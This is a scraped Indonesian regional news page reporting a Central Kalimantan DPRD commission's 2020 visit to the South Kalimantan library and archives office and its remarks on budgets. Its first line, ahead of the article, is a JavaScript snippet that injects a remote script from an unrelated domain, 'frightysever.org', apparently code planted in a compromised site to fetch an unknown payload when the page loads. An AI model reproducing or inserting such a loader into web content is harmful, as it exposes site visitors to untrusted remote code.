(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Dewan Perwakilan Rakyat Daerah (DPRD) Kalimantan Tengah melalui Komisi III menyambangi Perpustakaan Palnam yang dikelola oleh Dinas Perpustakaan dan Kearsipan (Dispersip) Kalimantan Selatan di Banjarmasin, Kamis (13/8/2020) pagi. Rombongan Komisi III DPRD Provinsi Kalteng ini dipimpin oleh Wakil Ketua Komisi III Hj. Siti Nafsiah dan disambut oleh Kepala Dispersip Kalsel Dra. Hj. Nurliani Dardie, MAP.
Siti Nafsiah mengakui, Dispersip Kalsel merupakan salah satu yang terbaik di Indonesia. Berdasarkan pemaparan Nurliani kepada rombongannya, Nafsiah mengungkapkan, kendati SDM di Dispersip Kalsel terbatas namun tidak menghalangi upaya dalam meningkatkan minat baca di Kalsel.
“Banyak gebrakan-gebrakan untuk mendukung Pemprov Kalsel. Contohnya, gerakan Kalsel Membaca. Luar biasa,” kata Nafsiah di sela kunjungan.
Kendati masih dalam situasi pandemi Covid-19, Nafsiah mengapresiasi langkah Dispersip Kalsel untuk tidak berhenti bergerak dalam meningkatkan minat baca kepada masyarakat Kalsel. Namun begitu, ia sendiri melihat anggaran dari Pemprov Kalsel untuk Dispersip Kalsel cukup besar jika dibandingkan Dispersip Kalteng.
“Kami hanya (punya) anggaran Rp 8 miliar, sebelum pandemi. Sedangkan Kalsel itu hampir Rp 40 miliar, atau tepatnya Rp 39,3 miliar. Jadi, perhatian pemerintah untuk Dispersip Kalsel sangat besar,” imbuhnya.
Memang diakuinya, tidak ada patokan anggaran untuk perpustakaan dan kearsipan. Terpenting, harus memberdayakan kemampuan yang ada, salah satunya dengan jumlah anggaran yang ada.
“Nanti anggaran akan datang dengan sendirinya. Kalau kita diam saja dan tidak ada gebrakan, pemerintah malah malas (gelontorkan anggaran). Anggaran itu belakangan,” ucapnya.
Nafsiah berjanji, apa yang didapat dari kunjungan Dispersip Kalsel akan dibawa untuk diterapkan di Dispersip Kalteng. “Sebenarnya Kalteng sudah mulai bergerak tetapi masih terbatas,” pungkasnya.
Sementara itu, Kepala Dispersip Kalsel Dra. Hj. Nurliani Dardie mengatakan, ia dan instansi yang dipimpinnya merasa terhormat dapat menerima kunjungan dari wakil rakyat dari Bumi Tambun Bungai itu. “Insyaallah kami akan berkunjung juga ke (provinsi) tetangga,” kata Bunda Nunung -sapaan akrabnya.
Bunda Nunung menggarisbawahi, dengan SDM dan anggaran terbatas, tidak boleh berhenti untuk bergerak dalam inovasi. Hal inilah yang ia berikan kepada Komisi III DPRD Provinsi Kalteng. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.